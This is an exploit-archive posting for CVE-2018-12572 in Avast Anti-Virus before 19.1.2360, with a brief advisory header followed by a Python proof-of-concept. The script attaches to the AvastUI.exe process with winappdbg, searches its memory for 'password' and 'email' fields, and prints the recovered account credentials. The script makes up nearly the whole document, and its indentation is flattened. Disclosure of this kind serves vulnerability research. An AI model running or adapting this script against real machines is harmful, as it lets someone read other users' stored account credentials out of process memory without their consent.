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Avast Anti-Virus Local Credential Disclosure

Avast Anti-Virus Local Credential Disclosure
Posted Feb 10, 2019
Authored by Nathu Nandwani

Avast Anti-Virus versions prior to 19.1.2360 suffer from a local credential disclosure vulnerability.

tags | exploit, local, virus, info disclosure
advisories | CVE-2018-12572
MD5 | 6a58a9fbc1191c3c96c7392d2ff2ddc0

Avast Anti-Virus Local Credential Disclosure

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# Exploit Title: Avast Anti-Virus Local Credentials Disclosure < 19.1.2360
# Date: 01/18/2019
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co/
# Version: before 19.1.2360 (build 19.1.4142.0)
# Tested on: Windows 10 x64
# CVE: CVE-2018-12572
# Based on LiquidWorm's and Yakir Wizman's proof of concepts

from winappdbg import Debug, Process

debug = Debug()
processname = "AvastUI.exe"
pid = 0
mem_contents = []

email = ""
password = ""

try:
debug.system.scan_processes()
for (process, process_name) in debug.system.find_processes_by_filename(processname):
pid = process.get_pid()
if pid is not 0:
print ("AvastUI PID: " + str(pid))
process = Process(pid)
for i in process.search_regexp('"password":"'):
mem_contents.append(process.read(i[0], 200))
print "Dump: "
print process.read(i[0], 200)
for i in mem_contents:
password = i.split(",")[0]
for i in process.search_regexp('"email":"'):
mem_contents.append(process.read(i[0], 200))
print "Dump: "
print process.read(i[0], 200)
for i in mem_contents:
email = i.split(",")[0]
if email != "" and password != "":
print ""
print "Found Credentials from Memory!"
print email
print password
else:
print "No credentials found!"
else:
print "Avast not running!"
finally:
debug.stop()

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